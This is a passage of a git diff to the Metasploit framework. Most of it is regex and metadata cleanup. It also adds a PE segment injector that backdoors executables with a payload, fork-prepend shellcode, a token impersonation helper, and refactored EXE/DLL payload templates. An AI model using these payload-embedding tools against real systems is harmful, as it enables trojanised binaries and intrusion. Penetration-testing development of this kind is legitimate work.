:ci_xml end @@ -3342,8 +3342,8 @@ class DBManager def inspect_single_packet_http(pkt,wspace,task=nil) # First, check the server side (data from port 80). if pkt.is_tcp? and pkt.tcp_src == 80 and !pkt.payload.nil? and !pkt.payload.empty? - if pkt.payload =~ /^HTTP\x2f1\x2e[01]/ - http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/) + if pkt.payload =~ /^HTTP\x2f1\x2e[01]/n + http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/n) if http_server_match.kind_of?(MatchData) and http_server_match[1] report_service( :workspace => wspace, @@ -3363,8 +3363,8 @@ class DBManager # Next, check the client side (data to port 80) if pkt.is_tcp? and pkt.tcp_dst == 80 and !pkt.payload.nil? and !pkt.payload.empty? - if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/) - auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/) + if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/n) + auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/n) if auth_match.kind_of?(MatchData) and auth_match[1] b64_cred = auth_match[1] else @@ -3476,7 +3476,7 @@ class DBManager data.each_line do |line| case line when /^[\s]*#/ # Comment lines - if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/] + if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/n] addr = $1 port = $2 proto = $4 @@ -3492,7 +3492,7 @@ class DBManager user = ([nil, ""].include?($1)) ? "" : $1 pass = "" ptype = "smb_hash" - when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/ # Must be a user pass + when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/n # Must be a user pass user = ([nil, ""].include?($1)) ? "" : dehex($1) pass = ([nil, ""].include?($2)) ? "" : dehex($2) ptype = "password" @@ -3531,7 +3531,7 @@ class DBManager # If hex notation is present, turn them into a character. def dehex(str) - hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/) + hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/n) hexen.each { |h| str.gsub!(h,h[2,2].to_i(16).chr) } @@ -5039,7 +5039,7 @@ class DBManager next if r[0] != 'results' next if r[4] != "12053" data = r[6] - addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/)[1,2] + addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/n)[1,2] addr_map[hname] = addr end @@ -5160,7 +5160,7 @@ class DBManager # HostName host.elements.each('ReportItem') do |item| next unless item.elements['pluginID'].text == "12053" - addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/)[1] + addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/n)[1] hname = host.elements['HostName'].text end addr ||= host.elements['HostName'].text @@ -5855,7 +5855,7 @@ class DBManager data.each_line do |line| next if line =~ /^#/ - next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/ + next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/n addr = $1 next if bl.include? addr port = $2.to_i diff --git a/lib/msf/core/db_export.rb b/lib/msf/core/db_export.rb index d7c3277ff3..ad79e6a02b 100644 --- a/lib/msf/core/db_export.rb +++ b/lib/msf/core/db_export.rb @@ -20,7 +20,7 @@ class Export end def myusername - @username ||= (ENV['LOGNAME'] || ENV['USERNAME'] || ENV['USER'] || "unknown").to_s.strip.gsub(/[^A-Za-z0-9\x20]/,"_") + @username ||= (ENV['LOGNAME'] || ENV['USERNAME'] || ENV['USER'] || "unknown").to_s.strip.gsub(/[^A-Za-z0-9\x20]/n,"_") end # Hosts are always allowed. This is really just a stub. @@ -115,7 +115,7 @@ class Export user = (c.user.nil? || c.user.empty?) ? "" : c.user pass = (c.pass.nil? || c.pass.empty?) ? "" : c.pass if pass != "" - pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/m) ? c.pass : "" + pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/nm) ? c.pass : "" end if pass == "" # Basically this is an error (maybe around [\x20-\x7e] in regex) above @@ -206,7 +206,7 @@ class Export report_file.write %Q|\n| report_file.write %Q|\n| - report_file.write %Q|\n| + report_file.write %Q|\n| yield(:status, "start", "hosts") if block_given? report_file.write %Q|\n| @@ -352,7 +352,7 @@ class Export if value data = marshalize(value) data.force_encoding(Encoding::BINARY) if data.respond_to?('force_encoding') - data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/){ |x| "\\x%.2x" % x.unpack("C*")[0] } + data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] } el << REXML::Text.new(data) end return el diff --git a/lib/msf/core/exe/segment_injector.rb b/lib/msf/core/exe/segment_injector.rb new file mode 100644 index 0000000000..00ef277daa --- /dev/null +++ b/lib/msf/core/exe/segment_injector.rb @@ -0,0 +1,108 @@ +module Msf +module Exe + + require 'metasm' + + class SegmentInjector + + attr_accessor :payload + attr_accessor :template + attr_accessor :arch + attr_accessor :buffer_register + + def initialize(opts = {}) + @payload = opts[:payload] + @template = opts[:template] + @arch = opts[:arch] || :x86 + @buffer_register = opts[:buffer_register] || 'edx' + unless %w{eax ecx edx ebx edi esi}.include?(@buffer_register.downcase) + raise ArgumentError, ":buffer_register is not a real register" + end + end + + def processor + case @arch + when :x86 + return Metasm::Ia32.new + when :x64 + return Metasm::X86_64.new + end + end + + def create_thread_stub + <<-EOS + hook_entrypoint: + pushad + push hook_libname + call [iat_LoadLibraryA] + push hook_funcname + push eax + call [iat_GetProcAddress] + mov eax, [iat_CreateThread] + lea edx, [thread_hook] + push 0 + push 0 + push 0 + push edx + push 0 + push 0 + call eax + + popad + jmp entrypoint + + hook_libname db 'kernel32', 0 + hook_funcname db 'CreateThread', 0 + + thread_hook: + lea #{buffer_register}, [thread_hook] + add #{buffer_register}, 9 + EOS + end + + def payload_as_asm + asm = '' + @payload.each_byte do |byte| + asm << "db " + sprintf("0x%02x", byte) + "\n" + end + return asm + end + + def payload_stub + asm = create_thread_stub + asm << payload_as_asm + shellcode = Metasm::Shellcode.assemble(processor, asm) + shellcode.encoded + end + + def generate_pe + # Copy our Template into a new PE + pe_orig = Metasm::PE.decode_file(template) + pe = pe_orig.mini_copy + + # Copy the headers and exports + pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4] + pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup + pe.header.time = pe_orig.header.time + + # Generate a new code section set to RWX with our payload in it + s = Metasm::PE::Section.new + s.name = '.text' + s.encoded = payload_stub + s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE] + + # Tell our section where the original entrypoint was + s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint) + pe.sections << s + pe.invalidate_header + + # Change the entrypoint to our new section + pe.optheader.entrypoint = 'hook_entrypoint' + pe.cpu = pe_orig.cpu + + pe.encode_string + end + + end +end +end diff --git a/lib/msf/core/exploit/arkeia.rb b/lib/msf/core/exploit/arkeia.rb index 655ae0eff5..847cd4a065 100644 --- a/lib/msf/core/exploit/arkeia.rb +++ b/lib/msf/core/exploit/arkeia.rb @@ -135,11 +135,11 @@ module Exploit::Remote::Arkeia end # Store the version information - mver = resp.match(/IVERSION\x00([^\x00]+)/) + mver = resp.match(/IVERSION\x00([^\x00]+)/n) info['Version'] = mver[1] if mver # Store the hostname information - mver = resp.match(/ISERVNAME\x00([^\x00]+)/) + mver = resp.match(/ISERVNAME\x00([^\x00]+)/n) info['Hostname'] = mver[1] if mver # Begin the ARKADMIN_GET_MACHINE_INFO request @@ -182,7 +182,7 @@ module Exploit::Remote::Arkeia # Finally, parse out and store all the parameters resp.split("TPVALUE\x00").each { |x| - minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/) + minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/n) if (minf) info[ minf[2] ] = minf[1] end diff --git a/lib/msf/core/exploit/file_dropper.rb b/lib/msf/core/exploit/file_dropper.rb index 9abfa7ab60..008f5ded8f 100644 --- a/lib/msf/core/exploit/file_dropper.rb +++ b/lib/msf/core/exploit/file_dropper.rb @@ -20,10 +20,16 @@ module Exploit::FileDropper # @return [void] # def on_new_session(session) + super + if session.type == "meterpreter" session.core.use("stdapi") unless session.ext.aliases.include?("stdapi") end + if not @dropped_files or @dropped_files.empty? + return true + end + @dropped_files.delete_if do |file| win_file = file.gsub("/", "\\\\") if session.type == "meterpreter" @@ -58,8 +64,6 @@ module Exploit::FileDropper true end end - - super end # diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 215de052f3..7ff5c5a5cd 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -463,8 +463,8 @@ module Exploit::Remote::HttpClient end if datastore['RPORT'].to_i == 3790 - if res.code == 302 and res.headers and res.headers['Location'] =~ /[\x5c\x2f](login|setup)$/ - if res['Server'] =~ /^(thin.*No Hup)|(nginx[\x5c\x2f][\d\.]+)$/ + if res.code == 302 and res.headers and res.headers['Location'] =~ /[\x5c\x2f](login|setup)$/n + if res['Server'] =~ /^(thin.*No Hup)|(nginx[\x5c\x2f][\d\.]+)$/n extras << "Metasploit" end end diff --git a/lib/msf/core/exploit/mssql.rb b/lib/msf/core/exploit/mssql.rb index 92d07f427b..3c52a62774 100644 --- a/lib/msf/core/exploit/mssql.rb +++ b/lib/msf/core/exploit/mssql.rb @@ -694,9 +694,10 @@ module Exploit::Remote::MSSQL if(info[:rows] and not info[:rows].empty?) tbl = Rex::Ui::Text::Table.new( - 'Indent' => 1, - 'Header' => "", - 'Columns' => info[:colnames] + 'Indent' => 1, + 'Header' => "", + 'Columns' => info[:colnames], + 'SortIndex' => -1 ) info[:rows].each do |row| diff --git a/lib/msf/core/exploit/mysql.rb b/lib/msf/core/exploit/mysql.rb index d3d275fbd5..82a07f6619 100644 --- a/lib/msf/core/exploit/mysql.rb +++ b/lib/msf/core/exploit/mysql.rb @@ -110,9 +110,9 @@ module Exploit::Remote::MYSQL end if plugin_res.respond_to? :split - target_path = plugin_res.split(/[\x5c\x2f]+/).join("/") << "/" + target_path = plugin_res.split(/[\x5c\x2f]+/n).join("/") << "/" elsif base_res.respond_to? :split - target_path = base_res.split(/[\x5c\x2f]+/).join("/") << "/bin/" + target_path = base_res.split(/[\x5c\x2f]+/n).join("/") << "/bin/" else print_error "Cannot determine the plugin directory." return false @@ -123,7 +123,7 @@ module Exploit::Remote::MYSQL print_status "Checking for temp directory..." res = mysql_get_variable("@@tmpdir") if res.respond_to? :split - target_path = res.split(/[\x5c\x2f]+/).join("/") << "/" + target_path = res.split(/[\x5c\x2f]+/n).join("/") << "/" else print_error "Cannot determine the temp directory, exiting." return false diff --git a/lib/msf/core/exploit/omelet.rb b/lib/msf/core/exploit/omelet.rb index 4fc6c035c1..6c16868d5e 100644 --- a/lib/msf/core/exploit/omelet.rb +++ b/lib/msf/core/exploit/omelet.rb @@ -11,8 +11,6 @@ module Msf # # written by corelanc0d3r # -# Version: $Revision$ -# ### module Exploit::Omelet diff --git a/lib/msf/core/exploit/realport.rb b/lib/msf/core/exploit/realport.rb index f90184f5cb..bf7c092fe9 100644 --- a/lib/msf/core/exploit/realport.rb +++ b/lib/msf/core/exploit/realport.rb @@ -195,7 +195,7 @@ module Exploit::Remote::RealPort # Send negotiate request sock.put(pkt2) res = sock.get_once(-1, 5) - if res.to_s =~ /^\xff/ + if res.to_s =~ /^\xff/n vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}") return :closed end @@ -221,7 +221,7 @@ module Exploit::Remote::RealPort sock.put(pkt3) res = sock.get_once(-1, 5) - if res.to_s =~ /^\xff/ + if res.to_s =~ /^\xff/n vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}") return :closed end diff --git a/lib/msf/core/exploit/smb.rb b/lib/msf/core/exploit/smb.rb index 0a3373cbba..4eddb125d6 100644 --- a/lib/msf/core/exploit/smb.rb +++ b/lib/msf/core/exploit/smb.rb @@ -645,7 +645,7 @@ module Exploit::Remote::SMB buff << " FP: #{line}\n" end - prov.split(/\x00\x00+/).each do |line| + prov.split(/\x00\x00+/n).each do |line| line.gsub!("\x00",'') line.strip! next if line.length < 6 @@ -755,8 +755,8 @@ module Exploit::Remote::SMBServer if (pkt_nbs.v['Type'] == 0x81) # Accept any name they happen to send - host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/, '') - host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/, '') + host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '') + host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '') smb[:nbdst] = host_dst smb[:nbsrc] = host_src diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index 47a81884c6..f3e981db47 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -336,9 +336,9 @@ class Payload < Msf::Module # Check to see if the value is a hex string. If so, convert # it. if val.kind_of?(String) - if val =~ /^\\x/ - val = [ val.gsub(/\\x/, '') ].pack("H*").unpack(pack)[0] - elsif val =~ /^0x/ + if val =~ /^\\x/n + val = [ val.gsub(/\\x/n, '') ].pack("H*").unpack(pack)[0] + elsif val =~ /^0x/n val = val.hex end end diff --git a/lib/msf/core/payload/linux.rb b/lib/msf/core/payload/linux.rb index 2671ad964d..02787eeaa9 100644 --- a/lib/msf/core/payload/linux.rb +++ b/lib/msf/core/payload/linux.rb @@ -19,6 +19,13 @@ module Msf::Payload::Linux register_advanced_options( [ + Msf::OptBool.new('PrependFork', + [ + false, + "Prepend a stub that executes: if (fork()) { exit(0); }", + "false" + ] + ), Msf::OptBool.new('PrependSetresuid', [ false, @@ -97,6 +104,17 @@ module Msf::Payload::Linux # Prepend + if (datastore['PrependFork']) + pre << "\x6a\x02" +# pushb $0x2 # + "\x58" +# popl %eax # + "\xcd\x80" +# int $0x80 ; fork # + "\x85\xc0" +# test %eax,%eax # + "\x74\x06" +# jz 0xf # + "\x31\xc0" +# xor %eax,%eax # + "\xb0\x01" +# movb $0x1,%al ; exit # + "\xcd\x80" # int $0x80 # + end + if (datastore['PrependSetresuid']) # setresuid(0, 0, 0) pre << "\x31\xc9" +# xorl %ecx,%ecx # @@ -197,10 +215,8 @@ module Msf::Payload::Linux "\xcd\x80" # int $0x80 # end - end - # Handle all Power/CBEA code here - if (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ])) + elsif (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ])) # Prepend @@ -277,9 +293,21 @@ module Msf::Payload::Linux "\x38\x1f\xfe\x02" +# addi r0,r31,-510 # "\x44\xff\xff\x02" # sc # end - end - if (test_arch.include?(ARCH_X86_64)) + elsif (test_arch.include?(ARCH_X86_64)) + + if (datastore['PrependFork']) + # if (fork()) { exit(0); } + pre << "\x6a\x39" # push 57 ; __NR_fork # + pre << "\x58" # pop rax # + pre << "\x0f\x05" # syscall # + pre << "\x48\x85\xc0" # test rax,rax # + pre << "\x74\x08" # jz 0x08 # + pre << "\x48\x31\xff" # xor rdi,rdi # + pre << "\x6a\x3c" # push 60 ; __NR_exit # + pre << "\x58" # pop rax # + pre << "\x0f\x05" # syscall # + end if (datastore['PrependSetresuid']) # setresuid(0, 0, 0) @@ -389,8 +417,8 @@ module Msf::Payload::Linux # Append exit(0) if (datastore['AppendExit']) app << "\x48\x31\xff" # xor rdi,rdi # - pre << "\x6a\x3c" # push 0x53 # - pre << "\x58" # pop rax # + app << "\x6a\x3c" # push 0x3c # + app << "\x58" # pop rax # app << "\x0f\x05" # syscall # end end diff --git a/lib/msf/core/payload/osx/bundleinject.rb b/lib/msf/core/payload/osx/bundleinject.rb index d408bcdfbf..dcfa1a4d92 100644 --- a/lib/msf/core/payload/osx/bundleinject.rb +++ b/lib/msf/core/payload/osx/bundleinject.rb @@ -14,7 +14,6 @@ module Payload::Osx::BundleInject def initialize(info = {}) super(update_info(info, 'Name' => 'Mac OS X Inject Mach-O Bundle', - 'Version' => '$Revision$', 'Description' => 'Inject a custom Mach-O bundle into the exploited process', 'Author' => [ diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 6ca8cb10e4..9d7e5cd574 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -12,9 +12,21 @@ require 'msf/core' module Msf::Payload::Windows require 'msf/core/payload/windows/prepend_migrate' + # Provides the #prepends method + # XXX: For some unfathomable reason, the order of requires here is + # important. If this include happens after require'ing the files + # below, it causes the windows/exec payload (and probably others) to + # somehow not have PrependMigrate despite having Payload::Windows, + # which leads to a NoMethodError on #prepends include Msf::Payload::Windows::PrependMigrate + require 'msf/core/payload/windows/dllinject' + require 'msf/core/payload/windows/exec' + require 'msf/core/payload/windows/loadlibrary' + require 'msf/core/payload/windows/reflectivedllinject' + require 'msf/core/payload/windows/x64/reflectivedllinject' + # # ROR hash associations for some of the exit technique routines. # diff --git a/lib/msf/core/payload/windows/dllinject.rb b/lib/msf/core/payload/windows/dllinject.rb index 4b0aff57cb..5c38949360 100644 --- a/lib/msf/core/payload/windows/dllinject.rb +++ b/lib/msf/core/payload/windows/dllinject.rb @@ -16,7 +16,6 @@ module Payload::Windows::DllInject def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Inject DLL', - 'Version' => '$Revision$', 'Description' => 'Inject a custom DLL into the exploited process', 'Author' => [ diff --git a/lib/msf/core/payload/windows/exec.rb b/lib/msf/core/payload/windows/exec.rb index d4d439832a..50bd0f9ae7 100644 --- a/lib/msf/core/payload/windows/exec.rb +++ b/lib/msf/core/payload/windows/exec.rb @@ -16,7 +16,6 @@ module Payload::Windows::Exec def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Execute Command', - 'Version' => '$Revision$', 'Description' => 'Execute an arbitrary command', 'Author' => [ 'vlad902', 'sf' ], 'License' => MSF_LICENSE, diff --git a/lib/msf/core/payload/windows/loadlibrary.rb b/lib/msf/core/payload/windows/loadlibrary.rb index 8344034f87..ea5a73e8cb 100644 --- a/lib/msf/core/payload/windows/loadlibrary.rb +++ b/lib/msf/core/payload/windows/loadlibrary.rb @@ -16,7 +16,6 @@ module Payload::Windows::LoadLibrary def initialize(info = {}) super(update_info(info, 'Name' => 'Windows LoadLibrary Path', - 'Version' => '$Revision$', 'Description' => 'Load an arbitrary library path', 'Author' => [ 'sf', 'hdm' ], 'License' => MSF_LICENSE, diff --git a/lib/msf/core/payload/windows/reflectivedllinject.rb b/lib/msf/core/payload/windows/reflectivedllinject.rb index 4eeaee6b4e..7b23556589 100644 --- a/lib/msf/core/payload/windows/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/reflectivedllinject.rb @@ -20,7 +20,6 @@ module Payload::Windows::ReflectiveDllInject def initialize(info = {}) super(update_info(info, 'Name' => 'Reflective DLL Injection', - 'Version' => '$Revision$', 'Description' => 'Inject a DLL via a reflective loader', 'Author' => [ 'sf' ], 'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ], diff --git a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb index a8eae642a1..68be5af44c 100644 --- a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb @@ -20,7 +20,6 @@ module Payload::Windows::ReflectiveDllInject_x64 def initialize(info = {}) super(update_info(info, 'Name' => 'Reflective DLL Injection', - 'Version' => '$Revision$', 'Description' => 'Inject a DLL via a reflective loader', 'Author' => [ 'sf' ], 'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ], diff --git a/lib/msf/core/post/windows/accounts.rb b/lib/msf/core/post/windows/accounts.rb index b87bbc9f58..d65930b62c 100644 --- a/lib/msf/core/post/windows/accounts.rb +++ b/lib/msf/core/post/windows/accounts.rb @@ -177,6 +177,71 @@ module Accounts :integrity_label ][enum_value - 1] end + + # Gets an impersonation token from the primary token. + # + # @return [Fixnum] the impersonate token handle identifier if success, nil if + # fails + def get_imperstoken + adv = session.railgun.advapi32 + tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | " + tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS" + tok_all << " | TOKEN_ADJUST_DEFAULT" + + pid = session.sys.process.open.pid + pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS) + pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token + it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token + if it["return"] #if it fails return 0 for error handling + return it["DuplicateTokenHandle"] + else + return nil + end + end + + # Gets the permissions granted from the Security Descriptor of a directory + # to an access token. + # + # @param [String] dir the directory path + # @param [Fixnum] token the access token + # @return [String, nil] a String describing the permissions or nil + def check_dir_perms(dir, token) + adv = session.railgun.advapi32 + si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION" + result = "" + + #define generic mapping structure + gen_map = [0,0,0,0] + gen_map = gen_map.pack("L") + buffer_size = 500 + + #get Security Descriptor for the directory + f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4) + if (f['return'] and f["lpnLengthNeeded"] <= buffer_size) + sd = f["pSecurityDescriptor"] + elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER + f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) + elsif (f['GetLastError'] == 2) + vprint_error("The system cannot find the file specified: #{dir}") + return nil + else + vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}") + return nil + end + + #check for write access, called once to get buffer size + a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8) + len = a["PrivilegeSetLength"] + + r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8) + if !r["return"] then return nil end + if r["GrantedAccess"] > 0 then result << "R" end + + w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8) + if !w["return"] then return nil end + if w["GrantedAccess"] > 0 then result << "W" end + end + end # Accounts end # Windows end # Post diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index b69bf8a75f..c5011eff91 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -1546,7 +1546,8 @@ class Db return end file = args[1] || ::File.join(Msf::Config.get_config_root, "database.yml") - if (::File.exists? ::File.expand_path(file)) + file = ::File.expand_path(file) + if (::File.exists? file) db = YAML.load(::File.read(file))['production'] framework.db.connect(db) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 0f671b91a2..457806732a 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -16,6 +16,7 @@ require 'rex/pescan' require 'rex/zip' require 'metasm' require 'digest/sha1' +require 'msf/core/exe/segment_injector' ## # @@ -66,6 +67,7 @@ require 'digest/sha1' return template % hash_sub end + ## # # Executable generators @@ -185,80 +187,12 @@ require 'digest/sha1' #try to inject code into executable by adding a section without affecting executable behavior if(opts[:inject]) - if endjunk - raise RuntimeError, "Junk at end of file. Is this a packed exe?" - end - - #find first section file offset and free RVA for new section - free_rva = pe.hdr.opt.AddressOfEntryPoint - first_off = sections_end - pe.sections.each do |sec| - first_off = sec.file_offset if sec.file_offset < first_off - free_rva = sec.raw_size + sec.vma if sec.raw_size + sec.vma > free_rva - end - #align free_rva - free_rva += (pe.hdr.opt.SectionAlignment-(free_rva % pe.hdr.opt.SectionAlignment)) % pe.hdr.opt.SectionAlignment - - #See if we can add a section - first_sechead_file_off = pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + pe.hdr.file.SizeOfOptionalHeader - new_sechead_file_off = first_sechead_file_off + pe.hdr.file.NumberOfSections * Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER - if new_sechead_file_off + Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER > first_off - raise RuntimeError, "Not enough room for new section header" - end - - # figure out where in the new section to put the start. Right now just putting at the beginning of the new section - start_rva = free_rva - - #make new section, starting at free RVA - new_sec = win32_rwx_exec_thread(code, pe.hdr.opt.AddressOfEntryPoint - start_rva) - #pad to file alignment - new_sec += "\x00" * (pe.hdr.opt.SectionAlignment-(new_sec.length % pe.hdr.opt.SectionAlignment)) - - #make new section header - new_sechead = Rex::PeParsey::PeBase::IMAGE_SECTION_HEADER.make_struct - new_sechead.v['Name'] = Rex::Text.rand_text_alpha(4)+"\x00"*4 # no name - new_sechead.v['Characteristics'] = 0x60000020 # READ, EXECUTE, CODE - new_sechead.v['VirtualAddress'] = free_rva - new_sechead.v['SizeOfRawData'] = new_sec.length - new_sechead.v['PointerToRawData'] = sections_end - - # Create the modified version of the input executable - exe = '' - File.open(opts[:template], 'rb') { |fd| - exe = fd.read(fd.stat.size) - } - - #New file header with updated number of sections and timedatestamp - new_filehead = Rex::PeParsey::PeBase::IMAGE_FILE_HEADER.make_struct - new_filehead.from_s(exe[pe.hdr.dos.e_lfanew, Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE]) - new_filehead.v['NumberOfSections'] = pe.hdr.file.NumberOfSections + 1 - new_filehead.v['TimeDateStamp'] = pe.hdr.file.TimeDateStamp - rand(0x1000000) - exe[pe.hdr.dos.e_lfanew, new_filehead.to_s.length] = new_filehead.to_s - - #new optional header with new entry point, size of image, and size of code - new_opthead = Rex::PeParsey::PeBase::IMAGE_OPTIONAL_HEADER32.make_struct - new_opthead.from_s(exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader]) - new_opthead.v['AddressOfEntryPoint'] = start_rva - new_opthead.v['SizeOfImage'] = free_rva + new_sec.length - new_opthead.v['SizeOfCode'] = pe.hdr.opt.SizeOfCode + new_sec.length - exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader] = new_opthead.to_s - #kill bound import table; if it exists, we probably overwrote it with our new section and they dont even need it anyway - exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 184, 8] = "\x00"*8 - #kill certificate; if it exists, we just invalidated it - exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 128, 8] = "\x00"*8 - - #new section header and new section - exe[new_sechead_file_off, new_sechead.to_s.length] = new_sechead.to_s - exe[new_sechead.v['PointerToRawData'], new_sec.length] = new_sec - exe.slice!((new_sechead.v['PointerToRawData'] + new_sec.length)..-1) - - cks = pe.hdr.opt.CheckSum - if(cks != 0) - exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V") - end - - pe.close - + injector = Msf::Exe::SegmentInjector.new({ + :payload => code, + :template => opts[:template], + :arch => :x86 + }) + exe = injector.generate_pe return exe end @@ -458,168 +392,100 @@ require 'digest/sha1' return pe end - def self.to_win32pe_exe_sub(framework, code, opts={}) - - # Allow the user to specify their own DLL template - set_template_default(opts, "template_x86_windows.exe") + def self.exe_sub_method(code,opts ={}) pe = '' File.open(opts[:template], "rb") { |fd| pe = fd.read(fd.stat.size) } - bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid Win32 PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo + case opts[:exe_type] + when :service_exe + max_length = 8192 + name = opts[:servicename] - if (code.length <= 4096) + if name + bo = pe.index('SERVICENAME') + raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" if not bo + pe[bo, 11] = [name].pack('a11') + end + + if not opts[:sub_method] + pe[136, 4] = [rand(0x100000000)].pack('V') + end + when :dll + max_length = 2048 + when :exe_sub + max_length = 4096 + end + + bo = pe.index('PAYLOAD:') + raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo + + if (code.length <= max_length) pe[bo, code.length] = [code].pack("a*") else - raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module" + raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module" + end + + if opts[:exe_type] == :dll + mt = pe.index('MUTEX!!!') + pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt end return pe end + def self.to_win32pe_exe_sub(framework, code, opts={}) + # Allow the user to specify their own DLL template + set_template_default(opts, "template_x86_windows.exe") + opts[:exe_type] = :exe_sub + exe_sub_method(code,opts) + end + def self.to_win64pe(framework, code, opts={}) - # Allow the user to specify their own EXE template set_template_default(opts, "template_x64_windows.exe") - - pe = '' - 